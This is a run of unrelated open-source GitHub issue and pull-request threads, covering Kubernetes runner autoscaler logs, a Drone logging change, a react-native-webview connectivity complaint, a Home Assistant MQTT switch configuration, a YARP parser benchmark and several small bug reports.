2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-r6vpv", "podCreationTimestamp": "2022-05-19 15:56:04 +0000 UTC"}
2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-ci-runners-9bq8b-lrfm2", "podCreationTimestamp": "2022-05-20 08:38:33 +0000 UTC"}
2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-spf6l", "podCreationTimestamp": "2022-05-19 15:53:39 +0000 UTC"}
2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-l57r9", "podCreationTimestamp": "2022-05-19 14:58:09 +0000 UTC"}
2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-kqlnf", "podCreationTimestamp": "2022-05-19 15:54:34 +0000 UTC"}
2022-05-20T08:56:08Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-8pkkp", "podCreationTimestamp": "2022-05-19 23:24:48 +0000 UTC"}
2022-05-20T08:56:46Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 2 by PercentageRunnersBusy	{"replicas_desired_before": 3, "replicas_desired": 2, "num_runners": 3, "num_runners_registered": 3, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-default-stage", "horizontal_runner_autoscaler": "gha-default-stage", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:56:46Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 3	{"horizontalrunnerautoscaler": "actions-runner-system/gha-default-stage", "suggested": 2, "reserved": 0, "min": 3, "max": 9}
2022-05-20T08:56:47Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 2 by PercentageRunnersBusy	{"replicas_desired_before": 3, "replicas_desired": 2, "num_runners": 3, "num_runners_registered": 3, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-deployer-stage", "horizontal_runner_autoscaler": "gha-deployer-stage", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:56:47Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 3	{"horizontalrunnerautoscaler": "actions-runner-system/gha-deployer-stage", "suggested": 2, "reserved": 0, "min": 3, "max": 6}
2022-05-20T08:56:47Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 0 by PercentageRunnersBusy	{"replicas_desired_before": 1, "replicas_desired": 0, "num_runners": 1, "num_runners_registered": 1, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:56:48Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 1 by TotalNumberOfQueuedAndInProgressWorkflowRuns	{"workflow_runs_completed": 0, "workflow_runs_in_progress": 0, "workflow_runs_queued": 1, "workflow_runs_unknown": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners"}
2022-05-20T08:56:48Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 1	{"horizontalrunnerautoscaler": "actions-runner-system/gha-ci-runners", "suggested": 1, "reserved": 0, "min": 0, "max": 15}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-4fklb", "podCreationTimestamp": "2022-05-19 14:32:26 +0000 UTC"}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-spf6l", "podCreationTimestamp": "2022-05-19 15:53:39 +0000 UTC"}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-ci-runners-9bq8b-lrfm2", "podCreationTimestamp": "2022-05-20 08:38:33 +0000 UTC"}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-r6vpv", "podCreationTimestamp": "2022-05-19 15:56:04 +0000 UTC"}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-l57r9", "podCreationTimestamp": "2022-05-19 14:58:09 +0000 UTC"}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-8pkkp", "podCreationTimestamp": "2022-05-19 23:24:48 +0000 UTC"}
2022-05-20T08:57:55Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-kqlnf", "podCreationTimestamp": "2022-05-19 15:54:34 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-4fklb", "podCreationTimestamp": "2022-05-19 14:32:26 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-r6vpv", "podCreationTimestamp": "2022-05-19 15:56:04 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-ci-runners-9bq8b-lrfm2", "podCreationTimestamp": "2022-05-20 08:38:33 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-8pkkp", "podCreationTimestamp": "2022-05-19 23:24:48 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-spf6l", "podCreationTimestamp": "2022-05-19 15:53:39 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-default-stage-2fr8n-l57r9", "podCreationTimestamp": "2022-05-19 14:58:09 +0000 UTC"}
2022-05-20T08:58:05Z	DEBUG	actions-runner-controller.runner	Runner appears to have been registered and running.	{"runner": "actions-runner-system/gha-deployer-stage-plcwj-kqlnf", "podCreationTimestamp": "2022-05-19 15:54:34 +0000 UTC"}
2022-05-20T08:58:40Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 2 by PercentageRunnersBusy	{"replicas_desired_before": 3, "replicas_desired": 2, "num_runners": 3, "num_runners_registered": 3, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-default-stage", "horizontal_runner_autoscaler": "gha-default-stage", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:58:40Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 3	{"horizontalrunnerautoscaler": "actions-runner-system/gha-default-stage", "suggested": 2, "reserved": 0, "min": 3, "max": 9}
2022-05-20T08:58:40Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 2 by PercentageRunnersBusy	{"replicas_desired_before": 3, "replicas_desired": 2, "num_runners": 3, "num_runners_registered": 3, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-deployer-stage", "horizontal_runner_autoscaler": "gha-deployer-stage", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:58:40Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 3	{"horizontalrunnerautoscaler": "actions-runner-system/gha-deployer-stage", "suggested": 2, "reserved": 0, "min": 3, "max": 6}
2022-05-20T08:58:41Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 0 by PercentageRunnersBusy	{"replicas_desired_before": 1, "replicas_desired": 0, "num_runners": 1, "num_runners_registered": 1, "num_runners_busy": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners", "enterprise": "", "organization": "xxx", "repository": ""}
2022-05-20T08:58:41Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Suggested desired replicas of 1 by TotalNumberOfQueuedAndInProgressWorkflowRuns	{"workflow_runs_completed": 0, "workflow_runs_in_progress": 0, "workflow_runs_queued": 1, "workflow_runs_unknown": 0, "namespace": "actions-runner-system", "kind": "runnerdeployment", "name": "gha-ci-runners", "horizontal_runner_autoscaler": "gha-ci-runners"}
2022-05-20T08:58:41Z	DEBUG	actions-runner-controller.horizontalrunnerautoscaler	Calculated desired replicas of 1	{"horizontalrunnerautoscaler": "actions-runner-system/gha-ci-runners", "suggested": 1, "reserved": 0, "min": 0, "max": 15}

@dennybaa Thanks! So Suggested desired replicas of 1 by TotalNumberOfQueuedAndInProgressWorkflowRuns	{"workflow_runs_completed": 0, "workflow_runs_in_progress": 0, "workflow_runs_queued": 1, does seem to say that you still have a job that is hang in queued.
Have you ever tried checking responses from GitHub API related to it? I guess, either of list workflow runs or list workflow jobs will return a single job that is stuck in queued if paginated throughoutly.

Thank you @mumoshu! I have indeed checked thoroughly paginating through all of the pages and there was one workflow dangling, I deleted it and:
NAME                 MIN   MAX   DESIRED   SCHEDULE
gha-ci-runners       0     15    0

Thank you again! :pray:


[ fix #95 ] Define tuples by large elimination

Might have to make Pair private (in Prim/Tuple.agda) to avoid things going wrong.
Other than that this fixes the original issue.
A nice byproduct is that now Tuple [] and ⊤ are the same.

I brought this up to date with current master in #102, let's continue the discussion there.


Add authtype to logging middleware

Description
This adds an authtype field to the logging middleware, which is generally useful for determining how Drone users are accessing the site, but particularly useful for determining which API tokens are actively in use.
Testing
Added a unit test to validate function output.
Suggestions
Please let me know if it would be preferable to make this conditional, or if there is a different place to add this logging.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Thanks @eoinmcafee00! A few questions to add some clarity:

Does a change of this magnitude really need to fall under a CLA? Especially since it falls under the apache license parts of the code base?
Is there a reason the test files use +build !oss? If I remove the tests, would that remove the need for CLAs?

Hey @colinhoglund
In order for this to be merged the CLA needs to be signed. It's enforced for everyone.

Thanks @eoinmcafee00, this should be ready to merge.

Thanks for merging this @eoinmcafee00 🙏. Do you have any estimates as to when this will be included in a new release?

@colinhoglund - new release tagged: https://github.com/harness/drone/releases/tag/v2.17.0


Properly RST-ify README.rst

Looks like there was some leftovers from a Markdown conversion.

Thanks!


[backport] Fix style of imports

Backport of #5433

[automatic post] Jenkins, test this please.

Jenkins CI test (for commit 79adde28c135ee662a7cfcb6ba05f81de08f26c2, target branch v5) succeeded!

LGTM!


Fixing STORE-1112: 500 error when trying to access secured extension APIs without logged in

When user accesses specified apis without logged in, store/publisher api-router fails with a 500 error. Therefore, username null check is handled.
This fixes https://wso2.org/jira/browse/STORE-1112.

Closing the PR, since changes are conflicting with the latest changes. Please fix the conflicts and reopen the PR, if you need to add this change


Webview pages error when Internet glitches.

Hello all,
This problem is something that’s been plaguing us for more than a year now. It's now bubbled up to the point of criticality with our customers.
They're shocked at the poor quality of our application with significant webview components. And, it's all due to this bug.
Let's describe the use case for review.
When a person is using any app built on this tech using WiFi, and they then switch to their phone’s Internet (everyone’s phone does this several times a day as they move from place to place), applications built on this tech “error.” Our customers see this, and complain about it.
To be clear, it's not just on requests for new pages. It's also on a page that has already completed rendering. Let's say you've loaded a page that has an address on it. You leave the building to go hop in your car? Error. You walk from your car inside a location? Error. Any detection of a "blip" in internet immediately throws an error.
This is NOT the same behavior as a web browser. Once the page is done rendering, if you leave it open, and you leave the building, the web browser doesn't immediately "error." It has all it needs to keep showing the page.
The consequences of this are not good:

It creates a perception that the application is "unstable."
We get more error reports from end customers due to this issue.
We have to deal with unhappy customers, and an increased workload because of these errors.
The quality of our application is perceived to be lower.  People are less likely to renew their services with us. We make less money.

What have you done to fix it? What about X?

Yes, when the connection is re-established, the app will reload. But, again, the app shows an error, then corrects itself. This is NOT the behavior of a production app.
Yes, we’ve implemented custom logic that will show a nicer error than the one that shows by default. But it still shows this error. There's no way to "squash" it that we've found.
IOS/Android? Yes. Multiple including recently updated versions of this component? Yes.

We are built on this tech. I never imagined that this bug would STILL be outstanding 1+ year later. Had we known this, we clearly would have gone a different route.
Next, let's talk about bonuses to some simple caching capabilities in this component.

Having a stable "cache" would allow applications with webview components to feel faster, more stable, and well, higher quality.
Some applications could be implemented with simple layout changes to existing web  applications, making time to market faster and reducing the amount of code to maintain.

Hopefully you can see how this issue makes the quality of applications built using this tech problematic.
So, net, I'm asking for your help.
We're more "web people" than "React component" people. It's hard for most of us to implement. And, yes, this is open source (which is thankless).  I know, as I maintain some core DB libraries.
At a minimum, when you use this component, you expect it to behave similar to a web browser. It simply doesn't. Which is surprising for us, and I'm sure surprising for others.
I could really use some guidance on this. Help?

Originally posted by @wflanagan as a comment (with updates and modifications) in an issue that references this that was closed because no one was whining about it: https://github.com/react-native-webview/react-native-webview/issues/1387#issuecomment-825878309

(Also responded to your email to me, @wflanagan!)
Would you be able to provide a minimal app along with instructions on how to demonstrate this behavior? I spun up a minimal app and then disconnected and reconnected WiFi and wasn't able to reproduce the issue you're talking about. A minimal repro and steps to reproduce will be very helpful.

@jamonholmgren Thanks! I REALLY appreciate it. We'll build something minimal for you to test with. Give us 1 to 2 days.

@jamonholmgren We're working on this ourselves for now, as I think we have a handle on at least some of the problem. When I run to ground again I'll re-open.


Remove C-style arrays from smart pointers exercise.

Fix #163.

somehow checks are failing because we try to compile for C++11 something that clearly needs C++20. Not sure what is wrong


Whenever app is updated or uninstalled the paper db data gets reset or deleted

We need persistency in storing values on paper DB even after users update the app or uninstall it so that the user doesn't need to save data again which is a bad user experience so, please fix it asap:)

The issue has been fixed. Please refer to this task for instructions and give your feedback https://github.com/pilgr/Paper/issues/196


One switch is "Unavailable", identical to another which is OK

Home Assistant release (hass --version): 0.65.4
Python release (python3 --version):  Python 3.6.4
Component/platform: switch
Description of problem:
I have the following elements which send their state to an MQTT broker:

a WiFi wall switch (Sonoff Touch)
two WiFi power relays (Sonoff basic)

Their behaviour is managed by node-red and they work as expected (pressing the wall switch switches the devices on and off). The MQTT configuration and the exchanges between the devices are therefore correct.
They are defined in Home Assistant as well, and HA gets their state from MQTT. It works for the wall switch and one of the power switches. The other one is "Unavailable".
Expected:
Correct states for all components
Problem-relevant configuration.yaml entries and steps to reproduce:
switch:
  - platform: mqtt
    name: "interrupteur mural"
    state_topic: "stat/maison/chambre1/mur1/POWER"
    command_topic: "cmnd/maison/chambre1/mur1/POWER"
    availability_topic: "tele/maison/chambre1/mur1/LWT"
    qos: 1
    payload_on: "ON"
    payload_off: "OFF"
    payload_available: "Online"
    payload_not_available: "Offline"
    retain: true

  - platform: mqtt
    name: "lampe haute"
    state_topic: "stat/maison/chambre1/lampe_haute/POWER"
    command_topic: "cmnd/maison/chambre1/lampe_haute/POWER"
    availability_topic: "tele/maison/chambre1/lampe_haute/LWT"
    qos: 1
    payload_on: "ON"
    payload_off: "OFF"
    payload_available: "Online"
    payload_not_available: "Offline"
    retain: true

  - platform: mqtt
    name: "lampe bureau"
    state_topic: "stat/maison/chambre1/lampe_bureau/POWER"
    command_topic: "cmnd/maison/chambre1/lampe_bureau/POWER"
    availability_topic: "tele/maison/chambre1/lampe_bureau/LWT"
    qos: 1
    payload_on: "ON"
    payload_off: "OFF"
    payload_available: "Online"
    payload_not_available: "Offline"
    retain: true

What messages do you see on the tele/maison/chambre1/lampe_bureau/LWT MQTT topic? I suspect it's not Online...

You are right, thank you.
It looks like the MQTT broker had an issue with this particular message - restarting it cleaned the situation.


Encoding fast path

Instead of going through the function pointer every time, instead check if the encoding has been changed. This patch entirely eliminates the encoding-related functions from the profile.

@jemmaissroff
before:
Warming up --------------------------------------
                YARP    28.000  i/100ms
              RubyVM    31.000  i/100ms
Calculating -------------------------------------
                YARP    284.268  (± 2.1%) i/s -      1.428k in   5.026121s
              RubyVM    316.312  (± 2.2%) i/s -      1.581k in   5.000682s

Comparison:
              RubyVM:      316.3 i/s
                YARP:      284.3 i/s - 1.11x  slower

after:
Warming up --------------------------------------
                YARP    36.000  i/100ms
              RubyVM    31.000  i/100ms
Calculating -------------------------------------
                YARP    360.947  (± 0.8%) i/s -      1.836k in   5.087036s
              RubyVM    321.894  (± 2.2%) i/s -      1.612k in   5.010196s

Comparison:
                YARP:      360.9 i/s
              RubyVM:      321.9 i/s - 1.12x  slower

looks like 23%!?


Allow one pass memory allocation for AlignedMemory

This pull request improves AlignedMemory and allows it to allocate memory in one pass instead of a possible Vec resizing in the previous approach. As a result there's also no need to keep align_offset and perform all the offset calculations.
P.S.: One of the tests in elf.rs is fixed to reflect the reduced size of AlignedMemory.

Just realized that the vector will be deallocated with its own layout which has a different alignment. So the allocation invariant may be broken in this case.


🐛[BUG] : Sign up form Name validation

Description
The "Name" field in the Sign-up form should only accept alphabetical letters (a-z, A-Z). Currently, the field allows users to input symbols and special characters, which may lead to invalid or spam submissions.
Steps to Reproduce

Go to Sign-up page.
Click on Name field.
Type number and symbol .
See there is no error.

Expected Behavior
The "Name" field should only accept alphabetical letters (a-z, A-Z) and prevent users from invalid entries.
Actual Behavior
Currently, the field allows users to input symbols and special characters, which may lead to invalid or spam submissions.
Screenshots

Additional Information
No response
What browser are you seeing the problem on?

[ ] Firefox
[X] Chrome
[ ] Safari
[ ] Microsoft Edge

Checklist

[X] I have checked the existing issues
[X] I have read the Contributing Guidelines
[X] I want to work on this issue. (optional)

@akash70629 make sure to complete this fast.
and please do contribute to other projects also.